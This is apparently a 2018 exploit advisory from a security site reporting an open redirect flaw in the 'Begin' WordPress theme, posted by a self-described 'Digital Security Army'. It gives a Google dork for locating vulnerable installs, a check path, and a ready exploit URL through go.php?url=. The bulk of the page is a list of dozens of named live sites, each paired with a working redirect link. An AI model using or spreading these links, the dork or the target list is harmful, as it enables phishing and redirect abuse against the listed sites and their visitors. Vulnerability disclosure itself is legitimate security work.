WordPress Begin Themes Start-up Business ThemeForest Open Redirection Vulnerability

2018.11.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-601

################################################################################################# # Exploit Title : WordPress Begin Themes Start-up Business ThemeForest Open Redirection Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 03/11/2018 # Vendor Homepage : wordpress.org ~ themeforest.net # Tested On : Windows and Linux # Software : themeforest.net/item/begin-start-up-business-wordpress-theme/20590319 # Category : WebApps # Google Dork : inurl:''/wp-content/themes/begin/inc/'' # Exploit Risk : High # Versions : All Versions # CWE : CWE-601 - [ URL Redirection to Untrusted Site ('Open Redirect') ] ################################################################################################# # Admin Panel Login Path : /wp-login.php # Check for Vulnerability : /wp-content/themes/begin/inc/qaptcha.jquery.php {"error":true} # Open Redirection Exploit : /wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ ################################################################################################# # Example Vulnerable Sites => [+] hzhjbh.gov.cn/wp-content/themes/begin/inc/go.php?url=https://www.cyberizm.org/ [+] su.gdou.edu.cn/wp-content/themes/begin/inc/go.php?url=https://cxsecurity.com/ [+] onkao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] bangm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] csky8.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] docker.ren/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] aycx360.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] howsci.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] linuxgogo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] rchain.site/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] tiinfo.info/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] sishaofeng.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] grangers8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] trendbbs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] gavindong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] elastosnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 3zschool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] hnxhgroup.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] chenxuehu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] zhouxiaoben.info/src/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] lixuejiang.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] developerfaqs.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] kok8.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] ishangsf.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xitongtiankong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] bh8sel.top/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] smartpu.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] yrnote.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] abcdocker.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] bichi.one/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] yueyuebaby.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] liusongzuo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 52szy.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xnq100.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] zhaohai.wang/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] w3cjava.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] pydata.club/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 5yemao.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] chuyuans.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] duanshaolin.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] tuchu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] boyew.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] aiweinews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+]mofomofo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 150643.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] awccc.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] diyi789.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] sichuanganju.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] huoxin.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] qinghe.me/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] imydl.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 91fh.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 52maicong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] shoujitouping.com/wordpress/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] qnjslm.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] wmi50.medinfo2017.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] esxqk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] fennbk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] longs.cc/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] cosxitong.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] dmgenglish.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] majiajue.biz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] ctrler.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xuansu.org/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 39mo.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] chromeba.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 125689.com/edu/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] seceye.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] taotaomeiya.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] sxfblog.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] shipinwhy.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xby.xyz/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xiaoxiawz.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] xbphotool.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] lihongjing.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] aiweibk.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] uuoption.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] dappnews.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 5mikes.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] get-nordvnp.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] speedfly.cn/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] ainll.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] hula8.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] 94huaji.net/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ [+] crackvip.com/wp-content/themes/begin/inc/go.php?url=http://REDIRECTIONADDRESSHERE.gov/ ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top